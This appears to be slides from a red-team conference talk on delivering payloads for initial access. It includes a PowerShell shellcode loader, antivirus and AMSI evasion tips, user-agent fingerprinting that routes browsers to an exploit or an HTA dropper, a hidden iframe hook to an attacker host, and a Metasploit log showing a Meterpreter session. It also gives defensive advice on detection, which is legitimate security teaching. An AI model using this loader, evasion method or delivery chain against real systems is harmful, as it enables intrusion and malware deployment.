

Payload delivery for initial access in Red Team engagement and Adversary Simulation

How to gain initial access with a reduced attack surface during Adversary Simulation / Red Team exercise and bringing added value?

How to defend? Which quick-wins a RedTeam can share with a BlueTeam?

Let's talk about this !



Who am I ?

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- OffSec and RT/PT fanatic since years now :)
- Head of COS Service in POST Luxembourg (big up to my teammates !)
- Speaker at NDH 2k11 (FR), Sec. Bsidés Dublin 2019, JS Meetup Luxembourg, Defcon Paris, SCSD 2020 (CH)... and **ROOTCON** :=)
- Some CVEs, a few B.Bounty ... yeaah, look mom, I'm sooo 31337 !!

What will we talk about?

- Red Teaming and Adversary Simulation (in Europe) in 2020
- How to deal with a (very) limited attack surface and how to bring added value? A Personal feedback !
- Mitigations and constraints: What do you have to think about before starting
 - Technical corner: TTPs, bypasses, detection and quick-wins for “blue” ppl
- Final exploit-chain to obtain a one-shot initial access using multiple vectors

Demo and Q&A

Red Teaming and Adversary Simulation (in Europe) in 2020

Red Teaming(RT) and Adversary Simulation(AS)

- RT engagement != AS that assumes compromise/impose scope for real-life oriented scenario, close to PT (but less \$\$, good argument for sales isn't it?)
- The (famous) TIBER-EU framework for finance RedTeaming in EU
 - *"Scenarios mimicking real-life adversaries are essential to the success"*
- Benefit of each approaches and why it is important AND useful to do AS in a regular basis
- Don't do it sequentially: mixing approaches is the key for success !
- Purple Team mindset is **MAN-DA-TO-RY** for RT/AS it's not about Red VS Blue!
- Protip: a good preparation is important (tech. watch, R&D, infra,...)

A Personal feedback:

How to deal with a (very)
limited attack surface?

Imagine you don't have more than a few exposed assets but you pwn3d the whole company....

How to deal with a (very) limited attack surface?

- Question: are you aware on “real-life” security incident? Do you **really** need an exposed unpatched SMB service to pwn? If so, is it useful for customer?
- Be offensive: Think like an attacker that want to gain shell, not like an auditor !
- Don't only focus on tech only BUT keep in mind that phishing is not that trivial
- MFA/COVID-19 topic is a good starting point, mix S.E/OSINT/phishing scenarios
- Why a good knowledge about OffSec, I.T security policies implementation and I.R are a big + **not only for bypasses but also for remediation plan !**
- Be reactive and log EV-ER-Y-THING ! A full timeline with details is part of the mission, don't forget that !



Mitigations and constraints: What do you have to think about before starting

AV, Proxies, AMSI, AppLocker, Patch management, Blue Team/alerting, honeypots, Processes in place,.. this is why a Blue mindset is important!

Mitigations and constraints: What do you have to think about before starting

- Technical mitigation but not only !
- Be reactive, your target may have a 24/7 SOC services or similar
- Don't try to privesc immediately + don't focus on D.A it's a wrong and bad objective!
- Phishing for shell is cool but you will have to deal with all security layers ..not that easy, trust me
- Phishing for creds is useful: what about MFA/physical ? OSINT might be enough
- Think about password spraying (be careful on account lockout)
- Each steps should permits to imagine/validate/improve Use-Cases, detection, policies... and so on : not your RT skills! (who cares? Client don't pay for that)

Mitigations and constraints: What do you have to think about before starting

- Unpopular opinion: A.V bypasses are just a step, not a goal !!
- Dumb detection even in 2020: **YES !** -> keep it simple! (strings concatenation ftw)
- Want to evade heuristic detection and solve proxy issue?
 - Use a stageless shellcode ;)
- String based detection for MSF templates \o/: add comments, junk, concatenate...
- Avoid automated tools usage: when signed project is useless (shellter, veil,..)
- Shellcode customization close the debate: AMSI bypassed "by design"

It's part of our job to know defense evasion techniques !

**Ok
thanks
bye.**

5
/ 57

5 engines detected this file

2a45dccadc6ec04aed1be5e5fe3ee82194e1ecfc05d746d7aaa8ce4fd7e28301

payload-basic.ps1

powershell

1.63 KB
Size

2020-08-14 10:05:03 UTC
1 minute ago



Community Score

DETECTION

DETAILS

BEHAVIOR

COMMUNITY

Engine	Detection	Vendor	Signature
Ikarus	ⓘ Trojan.PowerShell.Rozena	Kaspersky	ⓘ HEUR:Trojan.PowerShell.Generic
Microsoft	ⓘ TrojanDownloader:PowerShell/Genbhv.A	Sophos AV	ⓘ Troj/Venom-A
ZoneAlarm by Check Point	ⓘ HEUR:Trojan.PowerShell.Generic	Ad-Aware	
AegisLab	✓ Undetected	AhnLab-V3	
ALYac	✓ Undetected	Antiy-AVL	
Arcabit	✓ Undetected	Avast	
AVG	✓ Undetected	Avira (no cloud)	
Baidu			
BitDefenderTheta			
CAT-QuickHeal			
CMC			
Cyren			

```
kmkz@kmkz-pc: ~  
kmkz@kmkz-pc: ~/Bureau/ROOTCON-14/payloads 80x11  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting raw payload  
Payload size: 202329 bytes  
Final size of psh-net file: 271428 bytes  
Saved as: payload-basic.ps1  
kmkz@kmkz-pc: ~/Bureau/ROOTCON-14/payloads$ scite payload-basic.ps1  
kmkz@kmkz-pc: ~/Bureau/ROOTCON-14/payloads$ scite payload-basic.ps1
```

```
payload-basic.ps1 - SciTE  
File Edit Search View Tools Options Language Buffers Help  
1 payload-basic.ps1  
Set-StrictMode -Version 2  
$c2It = @"  
using System;  
using System.Runtime.InteropServices;  
namespace qvn {  
    public class func {  
        [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }  
        [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }  
        [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }  
        [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, AllocationType AllocationType, MemoryProtection MemoryProtection);  
        [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpThreadFunction, IntPtr lpParameter, Time dwFlags, IntPtr lpThreadId);  
        [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hObject, int dwMilliseconds);  
    }  
}  
"@  
$auVyr = New-Object Microsoft.CSharp.CSharpCodeProvider  
$wji = New-Object System.CodeDom.Compiler.CompilerParameters  
$wji.ReferencedAssemblies.AddRange(@"System.dll", [PsObject].Assembly.Location)  
$wji.GenerateInMemory = $True  
$a8 = $auVyr.CompileAssemblyFromSource($wji, $c2It)  
[Byte[]]$IZuup = [System.Convert]::FromBase64String("NO_Pay-Load_here")  
$bMC = [qvn.func]::VirtualAlloc(0, $IZuup.Length + 1, [qvn.func+AllocationType]::Reserve, [qvn.func+MemoryProtection]::ExecuteReadWrite)  
if ([Bool]$bMC) { $global:result = 3; return }  
[System.Runtime.InteropServices.Marshal]::Copy($IZuup, 0, $bMC, $IZuup.Length)  
[IntPtr] $abgC = [qvn.func]::CreateThread(0, 0, $bMC, 0, 0)  
if ([Bool]$abgC) { $global:result = 7; return }  
$oN = [qvn.func]::WaitForSingleObject($abgC, [qvn.func+Time]::Infinite)
```


Mitigations and constraints: What do you have to think about before starting

- Shellcode customization? No problem! (time 2 learn ASM a bit guys)
- Few changes will break the signature BUT don't "nop" everywhere
- Before testing evasion effectiveness, validate that shellcode is not broken!

- Example from 2019:

Original: <https://pastebin.com/74haMwJX>

Changed to: <https://pastebin.com/rhJiWyDh>

- **IMPORTANT:**

Add some stuff within the .hta file to avoid stupid detection (variable, loops...)

Mitigations and constraints: What do you have to think about before starting

- PowerShell template customization + shellcoding == AV and AMSI bypassing
 - Everything you need is here: https://github.com/kmkz/Pentesting/tree/master/AV_Evasion
- Adapt TTPs to your needs: what is perfect for me may not be good for you
- A good option is a payload that evade AppLocker (WMI+XSL , etc...)
- Use a generic payload delivery technique that can be used for vulnerability exploitation, S.E, phishing etc... with a minimum changes!
- **BeEF** is good for payload delivery (.hta), fingerprinting, automation... however customization is mandatory to avoid detection (hook.js, cookies,..)
- Avoid Macros: think about mail gateways, mitigations... not generic/ phishing only
- Fingerprint request to use the right payload (.hta, exploit,...)

Mitigations and constraints: What do you have to think about before starting

Fingerprint incoming requests using Nginx or simple JS to use the right payload (Edge, FF, Chrome, Android, windows, OSX..) and to validate that it is legit (no wget, URL scanning sandboxes, bots etc..)

Protip: stay aware about JS/JIT exploit ;) browser exploitation is a reality ! Sandbox escape ?

<https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html>

Emulation idea:

operations Wizardopium and Powerfall used this TTP to trigger the adapted browser exploits

```
1  <script>
2  // UserAgent init
3  var useragent = navigator.userAgent;
4
5  // OS
6  var win7 = /(Windows 7|Windows NT 6.1)/;
7  var win8 = /(Windows 8|Windows NT 6.2)/;
8  var win8_1 = /(Windows 8.1|Windows NT 6.3)/;
9  var win10 = /(Windows 10.0|Windows NT 10.0)/;
10 var linux = /(Linux x86)/;
11 var andro = /(Android)/;
12
13 // Browser
14 var edge = /edge/i;
15
16 // Fingerprinting (to complete)
17 if (win7.test(useragent)){
18     document.write("Win7 detected <br/>");
19
20     //if win7 + I.E 11:
21     cve_2018_0891();
22 }
23 else if (win10.test(useragent)){
24     document.write("Win10 detected <br/>");
25     document.write(useragent);
26
27     if (edge.test(useragent)){
28         document.write("<br/>Edge detected <br/>Delivering Payload ... <br/>");
29         hta_payload_deliver();
30     }
```

Mitigations and constraints: What do you have to think about before starting

- Always use a proxy aware dropper **WITH A VALID User-Agent !**
- Use a valid SSL certificate (HSTS, URL scanning) with a good domain name, validate the reputation of the domain, if necessary reclassify it - **Yes, you can!**
- Add some sandbox evasion techniques to avoid being flagged (if needed):
 - Internal phishing will “bypass” sandbox detection in 99% cases
 - Test if machinename != username, DNS resolution etc...
 - Use encryption using an environmental keying: derive the key from something within the user's environment

Ref: <https://github.com/nccgroup/demiguise>
<https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/>

Mitigations and constraints: A blue perspective

- Create User-Agent based use-cases -> if suspicious: trigger! (ps, empty, random,..)
- Deploy authentication on proxy: this is more challenging and efficient than A.V!
- URLs: IP address, raw* (raw.githubusercontent), public pad (ether, Mozilla,..)
- Apply, monitor and challenge a strong AppLocker policy
- Keep an eye on PowerShell:
 - Avoid V2, monitor module logging events (EID 4103)
 - If V5, enable + monitor CLM and ScriptBlock logging (EID 4104)
 - Create AMSI events based rulesets
- V6: PowerShell installed (PWSH) on Linux & macOS ! (cve-2018-8415: logging bypass)

Mitigations and constraints: A blue perspective

- Suspicious activity(ies) ? (dropper, lateral movement, endpoint security alert,..)
 - Please, NEVER (**FU**IN' NEVER !**) use highly privileged account to investigate !
- Create policies for any cases to prevent panic
- Creds stealing? Change ***ALL*** password (pass spray)
- Re-validate your patch management policy regularly
- Don't underestimate internal tests: assume a breach !
- Keep in mind that defense != magic boxes that detect *
- Like RT that have to think Blue, BT have to think like RT



Final exploit-chain to obtain
an independent attack-vectors
initial access

Abacadabra...



Final exploit-chain to obtain a one-shot initial access using multiple vectors

- Generate a classical .ps1 file (msfvenom works like a charm, will be the stage 2)
- Customize classical .ps1 file to obtain your own PowerShell payload
- Extract and adapt base 64 encoded shellcode loaded in your .ps1 file (stage 3)
- Re-encode your shellcode in base 64 and replace the automatically generated one
- Adapt your .hta file that will be your dropper (stage 1)
- Compile/test your LPE exploit ! (CVE-2019-1458, CVE-2020-0796,...)
- Use-it exploiting a web app vulnerability, phishing, S.E... adapt to your scenario!

Detailed TTPs: https://raw.githubusercontent.com/kmkz/Pentesting/master/AV_Evasion/AV_Bypass.ps1

HTA payload delivery using BeEF

1: PowerShell HTA setup

The BeEF control panel shows the 'HTA PowerShell' module selected in the 'Module Tree'. The 'Command results' table lists 10 commands, with the 10th command being the HTA PowerShell handler.

i...	date	label
0	2019-1...	comma...
1	2019-1...	comma...
2	2019-1...	comma...
3	2019-1...	comma...
4	2019-1...	comma...
5	2019-1...	comma...
6	2019-1...	comma...
7	2019-1...	comma...
8	2019-1...	comma...
9	2019-1...	comma...
10	2019-1...	comma...

2: Browser hooking

The Firefox DevTools console shows the DOM Explorer with an `<iframe>` element highlighted. The `<script>` element contains the command `window.open("https://google.de");`.

```
<html>  
<head>...</head>  
<body>  
  <iframe src="http://192.168.114.24:8081/hta" style="border: curren  
tColor; border-image: none; width: 1px; height: 1px; display: none;  
visibility: hidden;" application="yes"></iframe>  
  <script>  
    window.open("https://google.de");  
  </script>  
</body>  
</html>
```

3: C2 handler and ... Session opening \o/

The Metasploit terminal shows the `exploit(windows/misc/hta_server)` command being executed. The output indicates that the hta_server is delivering the payload and that a Meterpreter session has been opened.

```
msf5 exploit(windows/misc/hta_server) >  
[*] 192.168.114.31 hta_server - Delivering Payload  
[*] 192.168.114.31 hta_server - Delivering Payload  
[*] https://192.168.114.24:445/hta handling request from 192.168.114.31; (UUID: tikherna) Staging x86 payload (180825 bytes) ...  
[*] Meterpreter session 1 opened (192.168.114.24:445 -> 192.168.114.31:50490) at 2019-12-17 17:21:23 +0100  
  
msf5 exploit(windows/misc/hta_server) > sessions -l  
  
Active sessions  
=====
```

Id	Name	Type	Information	Connection
1		meterpreter	x86/windows DESKTOP-084JG1D\tata @ DESKTOP-084JG1D	192.168.114.24:445 -> 192.168.114.31:50490 (192.168.114.31)

One Click RCE

Demo

Initial Access:

From .hta to full Meterpreter

Questions?



Slides + material:

<https://github.com/kmkz/Talks>

@kmkz_security